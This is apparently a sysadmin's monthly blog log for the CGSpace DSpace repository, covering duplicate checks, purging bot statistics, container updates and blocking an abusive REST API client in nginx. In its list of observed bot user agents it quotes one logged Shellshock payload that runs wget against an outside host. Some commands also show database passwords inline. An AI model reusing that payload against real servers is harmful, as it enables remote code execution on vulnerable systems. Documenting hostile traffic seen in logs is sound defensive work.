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<meta property="og:title" content="March, 2022" />
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<meta property="og:description" content="2022-03-01
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Send Gaia the last batch of potential duplicates for items 701 to 980:
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$ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4.csv
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$ ./ilri/check-duplicates.py -i /tmp/tac4.csv -db dspace -u dspace -p 'fuuu' -o /tmp/2022-03-01-tac-batch4-701-980.csv
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$ csvcut -c id,filename ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4-filenames.csv
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$ csvjoin -c id /tmp/2022-03-01-tac-batch4-701-980.csv /tmp/tac4-filenames.csv > /tmp/2022-03-01-tac-batch4-701-980-filenames.csv
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" />
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<meta property="og:type" content="article" />
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<meta property="og:url" content="https://alanorth.github.io/cgspace-notes/2022-03/" />
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<meta property="article:published_time" content="2022-03-01T16:46:54+03:00" />
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<meta property="article:modified_time" content="2022-03-22T22:03:45+03:00" />
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<meta name="twitter:card" content="summary"/>
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<meta name="twitter:title" content="March, 2022"/>
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<meta name="twitter:description" content="2022-03-01
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Send Gaia the last batch of potential duplicates for items 701 to 980:
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$ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4.csv
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$ ./ilri/check-duplicates.py -i /tmp/tac4.csv -db dspace -u dspace -p 'fuuu' -o /tmp/2022-03-01-tac-batch4-701-980.csv
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$ csvcut -c id,filename ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4-filenames.csv
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$ csvjoin -c id /tmp/2022-03-01-tac-batch4-701-980.csv /tmp/tac4-filenames.csv > /tmp/2022-03-01-tac-batch4-701-980-filenames.csv
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"/>
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"headline": "March, 2022",
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"url": "https://alanorth.github.io/cgspace-notes/2022-03/",
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"wordCount": "1011",
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"datePublished": "2022-03-01T16:46:54+03:00",
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"dateModified": "2022-03-22T22:03:45+03:00",
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"author": {
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"name": "Alan Orth"
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<link rel="canonical" href="https://alanorth.github.io/cgspace-notes/2022-03/">
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<title>March, 2022 | CGSpace Notes</title>
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<script defer src="https://alanorth.github.io/cgspace-notes/js/fontawesome.min.f5072c55a0721857184db93a50561d7dc13975b4de2e19db7f81eb5f3fa57270.js" integrity="sha256-9QcsVaByGFcYTbk6UFYdfcE5dbTeLhnbf4HrXz+lcnA=" crossorigin="anonymous"></script>
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<a class="nav-link " href="https://alanorth.github.io/cgspace-notes/">Home</a>
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<header class="blog-header">
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<div class="container">
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<h1 class="blog-title" dir="auto"><a href="https://alanorth.github.io/cgspace-notes/" rel="home">CGSpace Notes</a></h1>
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<p class="lead blog-description" dir="auto">Documenting day-to-day work on the <a href="https://cgspace.cgiar.org">CGSpace</a> repository.</p>
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</div>
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</header>
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<div class="container">
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<div class="row">
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<div class="col-sm-8 blog-main">
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<article class="blog-post">
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<header>
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<h2 class="blog-post-title" dir="auto"><a href="https://alanorth.github.io/cgspace-notes/2022-03/">March, 2022</a></h2>
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<p class="blog-post-meta">
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<time datetime="2022-03-01T16:46:54+03:00">Tue Mar 01, 2022</time>
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in
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<span class="fas fa-folder" aria-hidden="true"></span> <a href="/cgspace-notes/categories/notes/" rel="category tag">Notes</a>
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</p>
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</header>
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<h2 id="2022-03-01">2022-03-01</h2>
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<ul>
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<li>Send Gaia the last batch of potential duplicates for items 701 to 980:</li>
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</ul>
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<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4.csv
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</span></span><span style="display:flex;"><span>$ ./ilri/check-duplicates.py -i /tmp/tac4.csv -db dspace -u dspace -p <span style="color:#e6db74">'fuuu'</span> -o /tmp/2022-03-01-tac-batch4-701-980.csv
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</span></span><span style="display:flex;"><span>$ csvcut -c id,filename ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4-filenames.csv
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</span></span><span style="display:flex;"><span>$ csvjoin -c id /tmp/2022-03-01-tac-batch4-701-980.csv /tmp/tac4-filenames.csv > /tmp/2022-03-01-tac-batch4-701-980-filenames.csv
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</span></span></code></pre></div><h2 id="2022-03-04">2022-03-04</h2>
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<ul>
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<li>Looking over the CGSpace Solr statistics from 2022-02
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<ul>
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<li>I see a few new bots, though once I expanded my search for user agents with “www” in the name I found so many more!</li>
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<li>Here are some of the more prevalent or weird ones:
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<ul>
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<li>axios/0.21.1</li>
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<li>Mozilla/5.0 (compatible; Faveeo/1.0; +http://www.faveeo.com)</li>
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<li>Nutraspace/Nutch-1.2 (<a href="https://www.nutraspace.com">www.nutraspace.com</a>)</li>
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<li>Mozilla/5.0 Moreover/5.1 (+http://www.moreover.com; <a href="mailto:webmaster@moreover.com">webmaster@moreover.com</a>)</li>
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<li>Mozilla/5.0 (compatible; Exploratodo/1.0; +http://www.exploratodo.com</li>
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<li>Mozilla/5.0 (compatible; GroupHigh/1.0; +http://www.grouphigh.com/)</li>
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<li>Crowsnest/0.5 (+http://www.crowsnest.tv/)</li>
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<li>Mozilla/5.0/Firefox/42.0 - nbertaupete95(at)gmail.com</li>
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<li>metha/0.2.27</li>
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<li>ZaloPC-win32-24v454</li>
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<li>Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.x.x) Gecko/20041107 Firefox/x.x</li>
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<li>ZoteroTranslationServer/WMF (mailto:noc@wikimedia.org)</li>
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<li>FullStoryBot/1.0 (+https://www.fullstory.com)</li>
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<li>Link Validity Check From: <a href="http://www.usgs.gov">http://www.usgs.gov</a></li>
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<li>OSPScraper (+https://www.opensyllabusproject.org)</li>
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<li>() { :;}; /bin/bash -c "wget -O /tmp/bbb <a href="https://www.redel.net.br/1.php?id=3137382e37392e3138372e313832">www.redel.net.br/1.php?id=3137382e37392e3138372e313832</a>"</li>
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</ul>
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</li>
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<li>I submitted <a href="https://github.com/atmire/COUNTER-Robots/pull/52">a pull request to COUNTER-Robots</a> with some of these</li>
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</ul>
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</li>
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<li>I purged a bunch of hits from the stats using the <code>check-spider-hits.sh</code> script:</li>
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</ul>
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<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>]$ ./ilri/check-spider-hits.sh -f dspace/config/spiders/agents/ilri -p
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</span></span><span style="display:flex;"><span>Purging 6 hits from scalaj-http in statistics
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</span></span><span style="display:flex;"><span>Purging 5 hits from lua-resty-http in statistics
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</span></span><span style="display:flex;"><span>Purging 9 hits from AHC in statistics
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</span></span><span style="display:flex;"><span>Purging 7 hits from acebookexternalhit in statistics
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</span></span><span style="display:flex;"><span>Purging 1011 hits from axios\/[0-9] in statistics
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</span></span><span style="display:flex;"><span>Purging 2216 hits from Faveeo\/[0-9] in statistics
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</span></span><span style="display:flex;"><span>Purging 1164 hits from Moreover\/[0-9] in statistics
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</span></span><span style="display:flex;"><span>Purging 740 hits from Exploratodo\/[0-9] in statistics
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</span></span><span style="display:flex;"><span>Purging 585 hits from GroupHigh\/[0-9] in statistics
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</span></span><span style="display:flex;"><span>Purging 438 hits from Crowsnest\/[0-9] in statistics
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</span></span><span style="display:flex;"><span>Purging 1326 hits from nbertaupete95 in statistics
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</span></span><span style="display:flex;"><span>Purging 182 hits from metha\/[0-9] in statistics
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</span></span><span style="display:flex;"><span>Purging 68 hits from ZaloPC-win32-24v454 in statistics
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</span></span><span style="display:flex;"><span>Purging 1644 hits from Firefox\/x\.x in statistics
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</span></span><span style="display:flex;"><span>Purging 678 hits from ZoteroTranslationServer in statistics
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</span></span><span style="display:flex;"><span>Purging 27 hits from FullStoryBot in statistics
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</span></span><span style="display:flex;"><span>Purging 26 hits from Link Validity Check in statistics
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</span></span><span style="display:flex;"><span>Purging 26 hits from OSPScraper in statistics
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</span></span><span style="display:flex;"><span>Purging 1 hits from 3137382e37392e3138372e313832 in statistics
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</span></span><span style="display:flex;"><span>Purging 2755 hits from Nutch-[0-9] in statistics
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</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
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</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span>Total number of bot hits purged: 12914
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</span></span></code></pre></div><ul>
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<li>I added a few from that list to the local overrides in our DSpace while I wait for feedback from the COUNTER-Robots project</li>
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</ul>
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<h2 id="2022-03-05">2022-03-05</h2>
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<ul>
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<li>Start AReS harvest</li>
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</ul>
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<h2 id="2022-03-10">2022-03-10</h2>
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<ul>
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<li>A few days ago Gaia sent me her notes on the fourth batch of TAC/ICW documents (items 701–980 in the spreadsheet)
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<ul>
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<li>I created a filter in LibreOffice and selected the IDs for items with the action “delete”, then I created a custom text facet in OpenRefine with this GREL:</li>
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</ul>
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</li>
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</ul>
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<pre tabindex="0"><code>or(
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isNotNull(value.match('707')),
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isNotNull(value.match('709')),
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isNotNull(value.match('710')),
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isNotNull(value.match('711')),
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isNotNull(value.match('713')),
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isNotNull(value.match('717')),
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isNotNull(value.match('718')),
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...
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isNotNull(value.match('821'))
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)
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</code></pre><ul>
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<li>Then I flagged all matching records, exported a CSV to use with SAFBuilder, and imported them on DSpace Test:</li>
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</ul>
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<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ JAVA_OPTS<span style="color:#f92672">=</span><span style="color:#e6db74">"-Xmx1024m -Dfile.encoding=UTF-8"</span> dspace import --add --eperson<span style="color:#f92672">=</span>fuu@ummm.com --source /tmp/SimpleArchiveFormat --mapfile<span style="color:#f92672">=</span>./2022-03-10-tac-batch4-701to980.map
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</span></span></code></pre></div><h2 id="2022-03-12">2022-03-12</h2>
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<ul>
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<li>Update all containers and rebuild OpenRXV on linode20:</li>
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</ul>
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<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ docker images | grep -v ^REPO | sed <span style="color:#e6db74">'s/ \+/:/g'</span> | cut -d: -f1,2 | xargs -L1 docker pull
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</span></span><span style="display:flex;"><span>$ docker-compose build
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</span></span></code></pre></div><ul>
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<li>Then run all system updates and reboot</li>
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<li>Start a full harvest on AReS</li>
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</ul>
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<h2 id="2022-03-16">2022-03-16</h2>
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<ul>
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<li>Meeting with KM/KS group to start talking about the way forward for repositories and web publishing
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<ul>
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<li>We agreed to form a sub-group of the transition task team to put forward a recommendation for repository and web publishing</li>
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</ul>
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</li>
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</ul>
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<h2 id="2022-03-20">2022-03-20</h2>
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<ul>
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<li>Start a full harvest on AReS</li>
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</ul>
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<h2 id="2022-03-21">2022-03-21</h2>
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<ul>
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<li>Review a few submissions for Open Repositories 2022</li>
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<li>Test one tentative DSpace 6.4 patch and give feedback on a few more that Hrafn missed</li>
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</ul>
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<h2 id="2022-03-22">2022-03-22</h2>
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<ul>
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<li>I accidentally dropped the PostgreSQL database on DSpace Test, forgetting that I had all the CGIAR CAS items there
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<ul>
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<li>I had been meaning to update my local database…</li>
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</ul>
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</li>
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<li>I re-imported the CGIAR CAS documents to <a href="https://dspacetest.cgiar.org/handle/10568/118432">DSpace Test</a> and generated the PDF thumbnails:</li>
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</ul>
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<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ JAVA_OPTS<span style="color:#f92672">=</span><span style="color:#e6db74">"-Xmx1024m -Dfile.encoding=UTF-8"</span> dspace import --add --eperson<span style="color:#f92672">=</span>fuu@ma.com --source /tmp/SimpleArchiveFormat --mapfile<span style="color:#f92672">=</span>./2022-03-22-tac-700.map
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</span></span><span style="display:flex;"><span>$ JAVA_OPTS<span style="color:#f92672">=</span><span style="color:#e6db74">"-Xmx1024m -Dfile.encoding=UTF-8"</span> dspace filter-media -p <span style="color:#e6db74">"ImageMagick PDF Thumbnail"</span> -i 10568/118432
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</span></span></code></pre></div><ul>
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<li>On my local environment I decided to run the <code>check-duplicates.py</code> script one more time with all 700 items:</li>
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</ul>
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<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/TAC_ICW_GreenCovers/2022-03-22-tac-700.csv > /tmp/tac.csv
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</span></span><span style="display:flex;"><span>$ ./ilri/check-duplicates.py -i /tmp/tac.csv -db dspacetest -u dspacetest -p <span style="color:#e6db74">'dom@in34sniper'</span> -o /tmp/2022-03-22-tac-duplicates.csv
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</span></span><span style="display:flex;"><span>$ csvcut -c id,filename ~/Downloads/2022-01-21-CGSpace-TAC-ICW.csv > /tmp/tac-filenames.csv
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</span></span><span style="display:flex;"><span>$ csvjoin -c id /tmp/2022-03-22-tac-duplicates.csv /tmp/tac-filenames.csv > /tmp/tac-final-duplicates.csv
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</span></span></code></pre></div><ul>
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<li>I sent the resulting 76 items to Gaia to check</li>
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<li>UptimeRobot said that CGSpace was down
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<ul>
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<li>I looked and found many locks belonging to the REST API application:</li>
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</ul>
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</li>
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</ul>
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<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ psql -c <span style="color:#e6db74">'SELECT * FROM pg_locks pl LEFT JOIN pg_stat_activity psa ON pl.pid = psa.pid;'</span> | grep -o -E <span style="color:#e6db74">'(dspaceWeb|dspaceApi)'</span> | sort | uniq -c | sort -n
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</span></span><span style="display:flex;"><span> 301 dspaceWeb
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</span></span><span style="display:flex;"><span> 2390 dspaceApi
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</span></span></code></pre></div><ul>
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<li>Looking at nginx’s logs, I found the top addresses making requests today:</li>
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</ul>
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<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span># awk <span style="color:#e6db74">'{print $1}'</span> /var/log/nginx/rest.log | sort | uniq -c | sort -h
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</span></span><span style="display:flex;"><span> 1977 45.5.184.2
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</span></span><span style="display:flex;"><span> 3167 70.32.90.172
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</span></span><span style="display:flex;"><span> 4754 54.195.118.125
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</span></span><span style="display:flex;"><span> 5411 205.186.128.185
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</span></span><span style="display:flex;"><span> 6826 137.184.159.211
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</span></span></code></pre></div><ul>
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<li>137.184.159.211 is on DigitalOcean using this user agent: <code>GuzzleHttp/6.3.3 curl/7.81.0 PHP/7.4.28</code>
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<ul>
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<li>I blocked this IP in nginx and the load went down immediately</li>
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</ul>
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</li>
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<li>205.186.128.185 is on Media Temple, but it’s OK because it’s the CCAFS publications importer bot</li>
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<li>54.195.118.125 is on Amazon, but is also a CCAFS publications importer bot apparently (perhaps a test server)</li>
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||
<li>70.32.90.172 is on Media Temple and has no user agent</li>
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||
<li>What is surprising to me is that we already have an nginx rule to return HTTP 403 for requests without a user agent
|
||
<ul>
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||
<li>I verified it works as expected with an empty user agent:</li>
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||
</ul>
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||
</li>
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||
</ul>
|
||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>$ curl -H User-Agent:<span style="color:#e6db74">''</span> <span style="color:#e6db74">'https://dspacetest.cgiar.org/rest/handle/10568/34799?expand=all'</span>
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||
</span></span><span style="display:flex;"><span>Due to abuse we no longer permit requests without a user agent. Please specify a descriptive user agent, for example containing the word 'bot', if you are accessing the site programmatically. For more information see here: https://dspacetest.cgiar.org/page/about.
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||
</span></span></code></pre></div><ul>
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<li>I note that the nginx log shows ‘-’ for a request with an empty user agent, which would be indistinguishable from a request with a ‘-’, for example these were successful:</li>
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||
</ul>
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||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-console" data-lang="console"><span style="display:flex;"><span>70.32.90.172 - - [22/Mar/2022:11:59:10 +0100] "GET /rest/handle/10568/34374?expand=all HTTP/1.0" 200 10671 "-" "-"
|
||
</span></span><span style="display:flex;"><span>70.32.90.172 - - [22/Mar/2022:11:59:14 +0100] "GET /rest/handle/10568/34795?expand=all HTTP/1.0" 200 11394 "-" "-"
|
||
</span></span></code></pre></div><ul>
|
||
<li>I can only assume that these requests used a literal ‘-’ so I will have to add an nginx rule to block those too</li>
|
||
<li>Otherwise, I see from my notes that 70.32.90.172 is the wle.cgiar.org REST API harvester… I should ask Macaroni Bros about that</li>
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</ul>
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